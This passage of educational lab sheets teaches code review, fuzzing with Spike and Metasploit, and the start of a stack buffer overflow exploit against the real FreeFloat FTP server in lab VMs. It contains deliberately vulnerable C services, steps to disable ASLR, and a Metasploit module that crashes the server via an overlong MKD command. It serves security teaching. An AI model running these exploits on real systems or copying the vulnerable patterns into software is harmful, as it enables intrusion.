There are many kinds of programming and design mistakes that can lead to serious security flaws. Auditing software for flaws is an important component of secure software development and testing. After software has been created (and during the development process), programs can be tested *with or without access to the source code* to look for vulnerabilities. If a security researcher can find a flaw that the software authors do not know about, this can have serious security ramifications. If they then weaponise the attack, and create an exploit to attack, this is known as a ***zero-day exploit***, if there is currently no fix available to defend against the attack.
|
||||
|
||||
Zero-day exploits can be used for malicious purposes, such as building worms or in targeted attacks, and can be sold on the blackmarket. White hat hackers (the good guys, like you\!) will generally follow *responsible disclosure*, and notify the vendor and give them time to fix the problem before going public with the information, after a fair amount of time. Many of the larger vendors offer rewards for reporting vulnerabilities.
|
||||
|
||||
> Warning: Please follow responsible disclosure, when you discover zero-days. This will give you warm-fuzzy feelings, build your reputation within the security industry, and you may even make yourself some money in the process.
|
||||
|
||||
|
||||
## The most popular approaches to bug hunting {#the-most-popular-approaches-to-bug-hunting}
|
||||
|
||||
When you have access to the source code you can perform:
|
||||
|
||||
* *manual code review*, to look for security mistakes
|
||||
* *static analysis*, which is when you use software to automatically analyse the code
|
||||
|
||||
If you do not have access to the source code, you can use:
|
||||
|
||||
* *reverse engineering* to transform the the compiled code (program) to get a (harder to read) version of the source code — binary static analysis is possible analysing a program without the original source code
|
||||
* *fuzzing* to do blackbox testing to find faults by feeding in variations of unexpected input into a program in an attempt to uncover unexpected behaviour
|
||||
|
||||
Even with access to source code, fuzz testing provides an insight into the behaviour of the program under unexpected inputs.
|
||||
|
||||
## Manual code review {#manual-code-review}
|
||||
|
||||
Being able to spot errors in code is an important skill for developers and security professionals.
|
||||
|
||||
Spot the error:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#define MAXPASS 7
|
||||
int main()
|
||||
{
|
||||
char correct_pass[7] = "SecreT\0";
|
||||
char input_pass[7];
|
||||
do{
|
||||
printf("Enter password:\n");
|
||||
scanf("%s", &input_pass);
|
||||
// Uncomment the next line to see what is happening...
|
||||
// printf("You entered %s, pass is %s\n", input_pass, correct_pass);
|
||||
if(strcmp(input_pass, correct_pass) == 0) {
|
||||
printf("Access granted\n");
|
||||
} else {
|
||||
printf("Access denied\n");
|
||||
}
|
||||
} while(strcmp(input_pass, correct_pass) != 0);
|
||||
}
|
||||
```
|
||||
|
||||
> Question: Can you spot the error, without compiling and running the code?
|
||||
|
||||
==VM: On Desktop Debian Linux VM==
|
||||
|
||||
==action: Save, compile, debug, and test this program==.
|
||||
|
||||
==action: Try uncommenting the printf line, and see what happens when various inputs are used==.
|
||||
|
||||
> Question: Is this program secure? Why not?
|
||||
|
||||
==action: Run and manually exploit this code==.
|
||||
|
||||
> Tip: *If you cannot find a way of exploiting the vulnerability*, it is possible that the compiler you are using is generating instructions that allocate memory addresses in a different order. Try swapping the two variable declaration lines (as below), recompile, and run the new version.
|
||||
|
||||
```c
|
||||
char correct_pass[7] = "SecreT\0";
|
||||
char input_pass[7];
|
||||
```
|
||||
|
||||
> Action: Update the above code to prevent the attack.
|
||||
|
||||
==action: Spot the error:==
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#define MAXPASS 7
|
||||
int main()
|
||||
{
|
||||
char *correct_pass, *input_pass;
|
||||
correct_pass = malloc(sizeof(char)*MAXPASS);
|
||||
input_pass = malloc(sizeof(char)*MAXPASS);
|
||||
strcpy(correct_pass, "SecreT\0");
|
||||
|
||||
printf("Please enter the password: ");
|
||||
scanf("%7s", input_pass);
|
||||
// uncomment to see what is happening...
|
||||
// printf("You entered %s, pass is %s\n", input_pass, correct_pass);
|
||||
if(strcmp(input_pass, correct_pass) == 0) {
|
||||
printf("Access granted\n");
|
||||
} else {
|
||||
printf("Access denied\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Question: Can you spot the error, without compiling and running the code?
|
||||
|
||||
> Hint: Consider defensive programming and memory allocation. Note that it might not be practical to exploit this.
|
||||
|
||||
> Warning: **SPOILER ALERT!**
|
||||
|
||||
> Note: This is more of a potential bug, rather than a glaring exploitable vulnerability. The code does not check that malloc successfully allocated memory, if you then read or write to memory that failed to be allocated, it will cause the program to behave incorrectly.
|
||||
|
||||
==action: Update the code to prevent the problem==.
|
||||
|
||||
## Fuzzing {#fuzzing}
|
||||
|
||||
Fuzzing involves sending deliberately unexpected data as input to a program in an attempt at discovering programming flaws. Fuzzers are often used by security researchers to find new vulnerabilities in software.
|
||||
|
||||
Three popular network fuzzers are Spike, Sulley, and Peach. If you are testing Web apps or GUI programs, other specialised fuzzers exist, such as the Web app fuzzers in Burp Suite and OWASP Zap.
|
||||
|
||||
Spike is a popular fuzzer written in C. It works by reading in a scripted template file describing the normal protocol (what is normally expected as input), and it automatically feeds in data based on its collection of strings that are likely to crash the program by deviating from what is expected. For example, it may try invalid characters/symbols, and longer than expected inputs.
|
||||
|
||||
> Tip: Although popular, Spike’s lack of documentation can be frustrating.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Run Ncat as a network service on port 4444==:
|
||||
|
||||
```bash
|
||||
ncat -vlk -p 4444
|
||||
```
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
==action: Start Wireshark, and monitor the traffic to view the stream of traffic==:
|
||||
|
||||
```bash
|
||||
sudo wireshark
|
||||
```
|
||||
|
||||
Next, let's see Spike in action…
|
||||
|
||||
==action: Open a new terminal tab (Shift+Ctrl+T)==.
|
||||
|
||||
==action: Create and edit a file named "my_first_spike.spk". Enter this text==:
|
||||
|
||||
```bash
|
||||
s_string("Hello, world!");
|
||||
```
|
||||
|
||||
This spike script simply sends the greeting string to the server.
|
||||
|
||||
To summarise:
|
||||
|
||||
* `s_string()` sends a string
|
||||
|
||||
Spike has a number of interpreters for interacting with programs.
|
||||
|
||||
Since we are using Ncat to simulate a network service, we can use one of Spike’s most common interpreters, `generic_send_tcp`.
|
||||
|
||||
The usage for `generic_send_tcp` is:
|
||||
|
||||
```
|
||||
Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR
|
||||
```
|
||||
|
||||
==action: Run our spike script==:
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:DESKTOP_IP_ADDRESS== 4444 my_first_spike.spk 0 0
|
||||
```
|
||||
|
||||
==action: View the Ncat output on the Desktop VM to confirm that Spike sends out the expected text==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Use Wireshark, and follow the TCP stream, to view the behaviour of the fuzzer==.
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
Note that it tries a number of different network connection attempts, sending this same payload data (with different TCP options).
|
||||
|
||||
At this point the fuzzer is not really doing anything interesting, as we have not specified any values to fuzz.
|
||||
|
||||
==action: Edit "my_first_spike.spk". Change the line to==:
|
||||
|
||||
```bash
|
||||
s_string_variable("Hello, world!");
|
||||
```
|
||||
|
||||
==action: Try running this new version of the script==:
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:DESKTOP_IP_ADDRESS== 4444 my_first_spike.spk 0 0
|
||||
```
|
||||
|
||||
==action: Watch the Ncat output in the previous tab==.
|
||||
|
||||
As we can see the spike script now involves some visible “fuzziness”. The first time the text “Hello, world\!” is sent, and subsequently other malformed versions are sent.
|
||||
|
||||
In this case we are not going to find anything that breaks our Ncat server, so let's move on to fuzzing some vulnerable software.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Create and edit a new file "another_vulnerable_service.c"==:
|
||||
|
||||
```bash
|
||||
vi another_vulnerable_service.c
|
||||
```
|
||||
|
||||
==action: Enter the below C code==:
|
||||
|
||||
```c
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
// variables
|
||||
int sock_fd, connection_fd;
|
||||
const int buffer2_len = 50;
|
||||
const int buffer1_len = 1000;
|
||||
char buffer2[buffer2_len];
|
||||
char buffer1[buffer1_len];
|
||||
struct sockaddr_in addr;
|
||||
|
||||
// socket details
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = htons(INADDR_ANY);
|
||||
addr.sin_port = htons(5555);
|
||||
|
||||
// create socket
|
||||
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
|
||||
// set socket details
|
||||
bind(sock_fd, (struct sockaddr *) &addr, sizeof(addr));
|
||||
|
||||
// start listening for connections
|
||||
listen(sock_fd, 10);
|
||||
// keep listening for new connections
|
||||
while(1) {
|
||||
// accept connection
|
||||
connection_fd = accept(sock_fd, NULL, NULL);
|
||||
// get name
|
||||
bzero(buffer1, buffer1_len);
|
||||
sprintf(buffer1, "What is your name?\r\n");
|
||||
write(connection_fd, buffer1, strlen(buffer1)+1);
|
||||
|
||||
bzero(buffer1, buffer1_len);
|
||||
read(connection_fd, buffer1, buffer1_len);
|
||||
printf("Connection from %s\n", buffer1);
|
||||
// reply
|
||||
bzero(buffer2, buffer2_len);
|
||||
snprintf(buffer2, buffer2_len, "Hello, %s\r\n", buffer1);
|
||||
write(connection_fd, buffer2, strlen(buffer2)+1);
|
||||
// if name starts with Cliffe, ask for another string, and print back
|
||||
if(strncmp(buffer1, "Cliffe", 6) == 0 ||strncmp(buffer1, "Tom", 3) == 0) {
|
||||
printf("(Access granted)\n");
|
||||
bzero(buffer1, buffer1_len);
|
||||
sprintf(buffer1, "Access granted... Please enter a string:\n");
|
||||
write(connection_fd, buffer1, strlen(buffer1)+1);
|
||||
|
||||
bzero(buffer1, buffer1_len);
|
||||
read(connection_fd, buffer1, buffer1_len);
|
||||
printf("Received string: %s\n", buffer1);
|
||||
|
||||
strcpy(buffer2, buffer1);
|
||||
sprintf(buffer1, "You entered: %s\r\n", buffer2);
|
||||
write(connection_fd, buffer1, strlen(buffer1)+1);
|
||||
}
|
||||
|
||||
close(connection_fd);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
==action: Compile this program to "another_vulnerable_service"==:
|
||||
|
||||
```bash
|
||||
gcc -g -m32 -fno-stack-protector -z norelro another_vulnerable_service.c -o another_vulnerable_service
|
||||
```
|
||||
|
||||
==action: Start our vulnerable service (listening on port 5555)==.
|
||||
|
||||
```bash
|
||||
./another_vulnerable_service
|
||||
```
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
Connecting to your vulnerable service:
|
||||
|
||||
==action: Open a new terminal tab (Ctrl-Shift-T)==.
|
||||
|
||||
```bash
|
||||
nc -v ==edit:DESKTOP_IP_ADDRESS== 5555
|
||||
```
|
||||
|
||||
==action: Type some text and press Enter, then some more text and Enter again==. This sends the text to the server, which responds with the output from your program.
|
||||
|
||||
==action: Identify the order that messages are send to and received from the vulnerable service==.
|
||||
|
||||
==action: Create and edit a file named "my_name_spike.spk". Enter this text==:
|
||||
|
||||
```bash
|
||||
printf("Fuzzing...\n");
|
||||
s_readline();
|
||||
s_string_variable("==edit:Bob==");
|
||||
s_string("\r\n");
|
||||
spike_send();
|
||||
|
||||
s_readline();
|
||||
|
||||
s_string_variable("==edit:A string!==");
|
||||
s_string("\r\n");
|
||||
s_readline();
|
||||
spike_send();
|
||||
```
|
||||
|
||||
Note that:
|
||||
|
||||
* `printf()` writes to the local console
|
||||
* `s_readline()` reads and displays a line of response
|
||||
* `s_string_variable()` writes a string that is fuzzed
|
||||
* `spike_send()` sends what is in the buffer now
|
||||
* The best way to know what commands are available is to look at the source code of spike.h (if you like, you can [view the source code here](https://github.com/guilhermeferreira/spikepp/blob/master/SPIKE/include/spike.h))
|
||||
|
||||
==action: Try running the spike script to test the vulnerable program==:
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:DESKTOP_IP_ADDRESS== 5555 my_name_spike.spk 0 0
|
||||
```
|
||||
|
||||
The script will try to run through a large list of fuzzed inputs, in an attempt to crash the program.
|
||||
|
||||
*If the fuzzer stops while the program is still running*, simply restart the fuzzer on the next variable. For example, if the fuzzer stops on:
|
||||
|
||||
```
|
||||
Fuzzing Variable 0:==edit:661==
|
||||
Fuzzing...
|
||||
line read=What is your name?
|
||||
Variablesize= 0
|
||||
returning end of line\!
|
||||
```
|
||||
|
||||
==action: Press Ctrl-C and continue on variable 0 iteration 662==:
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:DESKTOP_IP_ADDRESS== 5555 my_name_spike.spk 0 ==edit:662==
|
||||
```
|
||||
|
||||
You may find that the fuzzer does not find a way of crashing the program.
|
||||
|
||||
==action: Edit the spike script, so that the fuzzer gets past the first condition within the vulnerable service code==.
|
||||
|
||||
> Hint: edit the spike script so it sends a name that passes the string comparison.
|
||||
|
||||
==action: Try running the spike script again==:
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:DESKTOP_IP_ADDRESS== 5555 my_name_spike.spk 0 0
|
||||
```
|
||||
|
||||
If you have created an effective spike, the program will eventually crash after some fuzzing. When the program crashes, the message "tried to send to a closed socket\!" will appear in the terminal tab where Spike is running. Press Ctrl+C to stop fuzzing, and the number of attempts will be shown. This can be used to determine the string that was used to crash the program.
|
||||
|
||||
==action: View the traffic in Wireshark, and determine the last input that the fuzzer sent==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Restart the service (in the previous tab)==:
|
||||
|
||||
```bash
|
||||
./another_vulnerable_service
|
||||
```
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
==action: Connect manually with Ncat==:
|
||||
|
||||
```bash
|
||||
nc -v ==edit:DESKTOP_IP_ADDRESS== 5555
|
||||
```
|
||||
|
||||
==action: Enter the input (possibly multiple lines) that the fuzzer used to crash the program==.
|
||||
|
||||
==action: Make sure you can reproduce the crash==.
|
||||
|
||||
==action: Save the crash inducing input (multiple lines) into a text file named "**fuzzed**"==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Run the vulnerable server in a debugger==:
|
||||
|
||||
```bash
|
||||
gdb ./another_vulnerable_service
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) run
|
||||
```
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
==action: Feed in the fuzzed input==:
|
||||
|
||||
```bash
|
||||
nc -v ==edit:DESKTOP_IP_ADDRESS== 5555 < fuzzed
|
||||
```
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Back in the GDB terminal, look at the details in the debugger==:
|
||||
|
||||
```bash
|
||||
(gdb) backtrace
|
||||
```
|
||||
|
||||
==action: Display the value stored in registers==:
|
||||
|
||||
```bash
|
||||
(gdb) layout split
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) layout regs
|
||||
```
|
||||
|
||||
> Question: Explain any interesting values and their significance. ==hint:Hint: look for the ASCII values of the input==.
|
||||
|
||||
==action: Resume the fuzzing at the point that it stopped for the crash==, by changing the last two arguments (previously you used “0 0”). The first number represents the fuzzing variable (such as string\_variable) to skip to, and the second number is the fuzzing iteration to skip to for that variable (for example, “AAAAAAA”).
|
||||
|
||||
In order to fuzz more complex programs, the spike script file needs to have added complexity to send certain parts of the input as expected, and focus on fuzzing the inputs that are most likely to trigger flaws:
|
||||
|
||||
* Altering input lengths and command options
|
||||
* Altering integers, to test for boundary conditions and outliers
|
||||
* Command injections, invalid characters and so on
|
||||
|
||||
Fuzzers are very good at finding shallow bugs. However, it can be quite hard for a fuzzer to find deep bugs (behind a number of conditional code statements), since the fuzzer needs to try to get good code coverage, to test the behaviour of all the possible control flows. However, complete coverage can be impractical or impossible for complex programs.
|
||||
|
||||
One of the most effective ways to fuzz a network program is to use a sniffer to record examples of normal traffic (and/or study protocol RFC specifications), and then create a fuzzer that follows the normal expected flow of communication, with fuzzed input for the situations that are most likely to be vulnerable.
|
||||
|
||||
> Action: Fix the security error(s) in another_vulnerable_service.
|
||||
|
||||
> Tip: Also, consider fixing the error handling: for example, gracefully exit with an error message if the port is already in use. And if you want more practice writing C (and with multithreading), update the program to accept multiple connections at once (search for example code online).
|
||||
|
||||
## Fuzzing FTP servers {#fuzzing-ftp-servers}
|
||||
|
||||
==VM: On your Windows VM==
|
||||
|
||||
==action: Log in as your randomised username with password "tiaspbiqe2r"==.
|
||||
|
||||
The programs you will be fuzzing first are vulnerable (and real) FTP servers “FreeFloat”, and “EasyFTP”.
|
||||
|
||||
==action: Open file explorer, and browse to "C:\\Users\\vagrant\\Downloads\\freefloatftpserver\\"==
|
||||
|
||||
One of these FTP servers may already be running. You may want to check by connecting manually via ncat.
|
||||
|
||||
> Tip: Note that **each time the fuzzer crashes the program** you will need to make note of the values that crashed the server then **restart it.**
|
||||
|
||||
==action: Make sure FreeFloat FTP server is running==.
|
||||
|
||||
==VM: On your Kali Linux VM==
|
||||
|
||||
==action: Run an FTP spike script: (where *Win_IP_address* it the IP of your Windows VM)==
|
||||
|
||||
```bash
|
||||
generic_send_tcp ==edit:Win_IP_address== 21 /usr/share/spike/audits/FTPD/ftpd1.spk 0 0
|
||||
```
|
||||
|
||||
> Note: Again, *if the fuzzer stops without crashing the FTP server program* try restarting at the same point, or over from the beginning.
|
||||
|
||||
> Question: Does it crash the program? What input crashed the program?
|
||||
|
||||
> Hint: Using Wireshark may be the easiest way to identify the input.
|
||||
|
||||
==action: Have a look through the spike script file, and try to understand how it works==.
|
||||
|
||||
> Question: Does it crash the program? What input crashed the program?
|
||||
|
||||
Metasploit has an FTP fuzzing module, try using it:
|
||||
|
||||
==action: Restart the FTP server on your Windows VM, if it has crashed==.
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > use auxiliary/fuzzers/ftp/ftp_pre_post
|
||||
```
|
||||
|
||||
```bash
|
||||
msf auxiliary(ftp_pre_post) > set RHOSTS ==edit:Win_IP_address==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf auxiliary(ftp_pre_post) > exploit
|
||||
```
|
||||
|
||||
> Question: Does it crash the program? What input crashed the program?
|
||||
|
||||
==action: Have a look at the Metasploit module, and try to understand how it works==.
|
||||
|
||||
```bash
|
||||
less /usr/share/metasploit-framework/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
|
||||
```
|
||||
|
||||
[or **view the code online**](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb)
|
||||
|
||||
==action: **Repeat the above steps to fuzz the EasyFTP server.**==
|
||||
|
||||
EasyFTP can be found in C:\\Users\\vagrant\\Downloads\\easyftp
|
||||
|
||||
==action: Make a note of your findings==.
|
||||
|
||||
## Fuzzing CTF challenges {#fuzzing-ctf-challenges}
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls ~/challenges
|
||||
```
|
||||
|
||||
When you run each program it will give you instructions and hints on how to solve the challenge.
|
||||
|
||||
> Action: Run each of the challenges (always after changing to the directory first):
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_Fuzz_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ncat -kl -p 3333 -e ./Ch_Fuzz_1
|
||||
```
|
||||
|
||||
This runs the command as a network service, so you can connect from the Kali system over the network, and fuzz test the service.
|
||||
|
||||
For example, from Kali you can connect to manually test it:
|
||||
|
||||
```bash
|
||||
nc ==edit:DESKTOP_IP_ADDRESS== 3333
|
||||
```
|
||||
|
||||
And use Spike to fuzz it.
|
||||
|
||||
Alternatively, you can run the command directly.
|
||||
|
||||
You can apply the techniques you have learned above to solve the challenge, to crash the program, which will then provide you with a flag.
|
||||
|
||||
> Flag: Find the flag hidden via each challenge program and submit them to Hacktivity!
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Manually audited C code for harder-to-spot errors
|
||||
* Used various fuzzers to test network programs for serious security flaws
|
||||
|
||||
Well done\!
|
||||
|
||||
Next topic we will dive further into how these kinds of vulnerabilities can be exploited.
|
||||
|
||||
|
||||
545
_labs/software_security_exploitation/4_exploit_development.md
Normal file
@@ -0,0 +1,545 @@
|
||||
---
|
||||
title: "Exploit Development: MSF and Windows Stack-smashing Buffer Overflow"
|
||||
author: ["Z. Cliffe Schreuders"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn advanced exploit development techniques including Windows stack-smashing buffer overflows, Metasploit module creation, and remote system compromise through hands-on exploitation of a vulnerable FTP server."
|
||||
overview: |
|
||||
Exploit development involves identifying and exploiting vulnerabilities in software or systems, potentially granting unauthorized access. In this hands-on lab, you will delve into the advanced topic of exploit development, focusing on Windows stack-smashing buffer overflows, a common type of vulnerability.
|
||||
|
||||
Throughout this lab, you will work on a Kali Linux system as the attacker and a Windows VM as the victim/debugger, targeting a vulnerable FTP server. The lab guides you through several crucial steps, including manual exploitation, writing your first Metasploit (MSF) exploit module, finding the offset within the input that overwrites the EIP (Extended Instruction Pointer), adding shellcode to control the target system, and ultimately gaining remote access to the compromised system. By the end of this lab, you will have not only gained theoretical knowledge of exploit development but also practical experience in crafting and launching your own exploits against real-world vulnerabilities.
|
||||
tags: ["exploit-development", "buffer-overflow", "metasploit", "windows", "assembly", "shellcode"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1tsKUaCetdqwDmey4JK9DYrcO9XDx4EwE2RIvSbP6zQQ/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development"]
|
||||
---
|
||||
|
||||
## Introduction to exploit development {#introduction-to-exploit-development}
|
||||
|
||||
By the end of this lab you will have written a Metasploit exploit module to compromise a remote buffer overflow.
|
||||
|
||||
The exploit you are going to write is not currently in Metasploit’s arsenal, and the existing examples of exploiting this particular command on ExploitDB do not work with Windows 7, which you will be using. So what you are creating is somewhat unique\!
|
||||
|
||||
## Getting started {#getting-started}
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Log in as your randomised username with password "tiaspbiqe2r"==.
|
||||
|
||||
**Disable ASLR**
|
||||
|
||||
Address Space Layout Randomisation (ASLR) is a security feature that makes exploiting buffer overflows more difficult. We will return to how to write exploits in the presence of ASLR, but for now we have disabled the projection.
|
||||
|
||||
==action: Open RegEdit (Registry Editor)==
|
||||
|
||||
==action: Open this key:==
|
||||
|
||||
`[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]`
|
||||
|
||||
> Note: The dword value should be set as following
|
||||
|
||||
`"MoveImages"=dword:00000000` (without quotes)
|
||||
|
||||
> Note: The default is for this registry entry not to exist, but we have disabled ASLR to make it easier for you to learn about how to write exploits.
|
||||
|
||||
**Starting things**
|
||||
|
||||
The program you will be exploiting is a vulnerable (and real) FTP server "FreeFloat".
|
||||
|
||||
==action: Open file explorer, and browse to "C:\\Users\\vagrant\\Downloads\\freefloatftpserver\\"==
|
||||
|
||||
==action: Start OllyDbg from the start menu, press F3 to bring up the Open dialogue, and select the Win32 FloatFTP server executable==.
|
||||
|
||||
![ollyopenss.png][image-3]
|
||||
*Starting the debugger, by opening the program to debug*
|
||||
|
||||
OllyDBG is similar to GNU GDB, which you have used previously, except that it is a graphical program (a similar program for Linux is EDB -- both are available in Kali Linux). Note that the Assembly instructions are displayed in [Intel syntax](http://en.wikipedia.org/wiki/X86_assembly_language#Syntax).
|
||||
|
||||
![ollycpuss.png][image-4]
|
||||
*OllyDbg debugger poised and ready to go*
|
||||
|
||||
Also, note that the registers are visible (top right), and that the EIP is pointing to the FTPServe entry point, since the program is not yet running. Top left are the assembly instructions, the stack is visible at the bottom right.
|
||||
|
||||
==action: Note the IP address of your Windows VM==.
|
||||
|
||||
==action: Press the Start icon in OllyDbg==:
|
||||
![][image-5]
|
||||
|
||||
Alternatively, use the shortcut key (F9). You may have to press it more than once. Make sure the box in the far right of the status bar says "Running" and not "Paused".
|
||||
|
||||
> Tip: You will need to press Start a few times until the server is up and running.
|
||||
|
||||
FreeFloat runs minimised to the system tray. If you are unsure whether the process is running, check the system tray for the FreeFloat FTP icon:
|
||||
![ftpicon.png][image-6]
|
||||
|
||||
Double click it to bring up the (very minimal) interface.
|
||||
|
||||
==action: If you are prompted by the Windows firewall, allow the server access to the network (check both boxes and click "Allow access")==.
|
||||
|
||||
![ftpserverfirewallss.png][image-7]
|
||||
*Allow the server network access*
|
||||
|
||||
## Manual exploitation {#manual-exploitation}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: First, manually test the vulnerability, by connecting directly to the vulnerable server using Ncat:==
|
||||
|
||||
```bash
|
||||
nc ==edit:IP-address== ==edit:FTP-port==
|
||||
```
|
||||
|
||||
==action: Authenticate as an anonymous user, by entering the follow commands:==
|
||||
|
||||
```bash
|
||||
USER anonymous
|
||||
```
|
||||
|
||||
```bash
|
||||
PASS anonymous
|
||||
```
|
||||
|
||||
![][image-8]
|
||||
*Manual exploitation*
|
||||
|
||||
Among other flaws, FloatFTP has a buffer overflow when a MKD command is followed by a long string.
|
||||
|
||||
Cause a buffer overflow:
|
||||
|
||||
==action: Run MKD followed by a few lines of 'A's (at least 5 lines or so), then press Enter:==
|
||||
|
||||
```bash
|
||||
MKD AAAAAAAAAAAAAA==edit:AAA...==
|
||||
```
|
||||
|
||||
> Note: You may need to repeat the 'A' characters many times to trigger the overflow.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
![bothOSss.png][image-9]
|
||||
*Manual exploitation crashing the program (the screenshot is cropped, so doesn't show the whole input)*
|
||||
|
||||
Depending on the number of 'A's you have entered, OllyDdg will report an "access violation" (at the bottom in the status bar), and pause the process. If the status bar reports that the thread was "terminated, exit code 1", you may have entered too many characters.
|
||||
|
||||
> Tip: If the status bar doesn't change, you may not have entered a long enough input.
|
||||
|
||||
> Question: What is the value of EIP? Why is this interesting / good news?
|
||||
|
||||
> Tip: If EIP doesn't show 0x41414141, then try increasing or decreasing your input until it does.
|
||||
|
||||
> Hint: During this testing process it will become obvious that there is a small window of lengths where the EIP is overwritten.
|
||||
|
||||
## Writing your first MSF exploit module {#writing-your-first-msf-exploit-module}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Create a Metasploit exploit module, and save it as **FreeFloatMKDoverflow.rb** in **/root/.msf4/modules/exploits/windows/ftp/**:==
|
||||
|
||||
> Hint: To make the directory path, you can run `mkdir -p /root/.msf4/modules/exploits/windows/ftp/`
|
||||
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
def initialize(info = {})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => 'FloatFTP MKD overflow',
|
||||
'Description' => 'My first MSF exploit module',
|
||||
'Author' => [ '==edit:Your name=='],
|
||||
'Version' => '$Revision: 1 $',
|
||||
'Platform' => ['win'],
|
||||
'Targets' => [ [ 'Windows 7 Professional x64 SP1, no ASLR', { } ],],
|
||||
'DefaultTarget' => 0,
|
||||
'License' => GPL_LICENSE
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
puts "My first Metasploit module!"
|
||||
connect_login
|
||||
|
||||
bad = "A" * '==edit:500=='
|
||||
|
||||
send_cmd( ['MKD', bad] , false )
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
> Note: MSF simplifies our code already, since it does the FTP authentication for us. This code is Ruby, although you do not need to be overly familiar with the Ruby programming language in order to develop exploits.
|
||||
|
||||
> Tip: When using msfconsole you need to run `reload_all` (or restart msfconsole) for any changes to take effect.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Reopen the program and restart the service in OllyDBG. Alternatively, press Ctrl + F2==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Start msfconsole, and launch your new exploit:==
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > use exploit/windows/ftp/FreeFloatMKDoverflow
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > set RHOST ==edit:Win7-IP-address==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > set LHOST ==edit:Kali-IP-address==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > exploit
|
||||
```
|
||||
|
||||
> Note: If there is a problem loading your new exploit, scroll up in msfconsole's output to read any error messages, then fix any code mistakes and restart msfconsole and try the above again.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
If things go well, you will have changed EIP to 0x41414141 (AAAA), and caused an access violation.
|
||||
|
||||
![ollyexceptionSS.png][image-10]
|
||||
*OllyDbg access violation shown in the status bar*
|
||||
|
||||
## Finding the offset {#finding-the-offset}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
Your next step is to determine the offset within the input that overwrites the EIP: just how many As would it take to overwrite EIP?
|
||||
|
||||
There are many ways you could determine the offset, one of which is to use Metasploit's **pattern_create** feature.
